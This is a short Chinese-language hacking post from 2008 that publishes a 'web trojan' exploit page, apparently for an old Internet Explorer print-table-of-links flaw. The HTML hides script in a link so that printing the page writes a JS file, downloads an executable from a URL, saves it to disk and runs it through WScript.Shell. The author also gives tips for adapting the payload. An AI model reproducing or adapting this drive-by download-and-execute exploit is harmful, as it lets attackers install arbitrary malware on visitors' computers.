这个漏洞参考http://www.milw0rm.com/exploits/5619
Author: Greysign
2008-5-24
http://www.scanw.com/blog
哈哈。标题吸引吗。
修改代码请注意不能使用双引号”,注意不能跨域,还有一些其他零碎的问题自己调试吧。
这个漏洞执行后可以远程下载任意文件并执行。
第一次写网马,只好拿鸡PP搓成鸡胸,这样垃圾的漏洞才能放出来~哈哈。
不过。这个漏洞利用的好也可以玩一玩的。
<html>
<body>
Print me with table of links to execute
<a href="http://www.bla.com?x=b<script defer >
var ForWriting = 2;
var strFile = 'c://test2.js';
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine('var objArgs = /'http://127.0.0.1/test.exe/';');
objStream.WriteLine('var objargss =/'c:gtest.exe/';');
objStream.WriteLine('var sGet=new ActiveXObject(/'ADODB.Stream/');');
objStream.WriteLine('var xGet = false;');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new XMLHttpRequest();');
objStream.WriteLine('} ');
objStream.WriteLine('catch (trymicrosoft) {');
objStream.WriteLine('try {');
objStream.WriteLine(' xGet = new ActiveXObject(/'Msxml2.XMLHTTP/');');
objStream.WriteLine('} ');
objStream.WriteLine('catch (othermicrosoft) {');
objStream.WriteLine(' try {');
objStream.WriteLine(' xGet = new ActiveXObject(/'Microsoft.XMLHTTP/');');
objStream.WriteLine(' } ');
objStream.WriteLine('catch (failed) {');
objStream.WriteLine(' xGet = false;');
objStream.WriteLine(' }');
objStream.WriteLine('}');
objStream.WriteLine('}');
objStream.WriteLine('xGet.Open (/'GET/',objArgs.toLowerCase(),0);');
objStream.WriteLine('xGet.Send();');
objStream.WriteLine('sGet.Mode=3;');
objStream.WriteLine('sGet.Type=1;');
objStream.WriteLine('sGet.Open();');
objStream.WriteLine('sGet.Write (xGet.ResponseBody);');
objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);');
objStream.WriteLine('var x=new ActiveXObject(/'WScript.Shell/');');
objStream.WriteLine('x.Run(objargss);');
objStream.Close();
var objShell = new ActiveXObject('wscript.shell');
objShell.Run(strFile);
</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>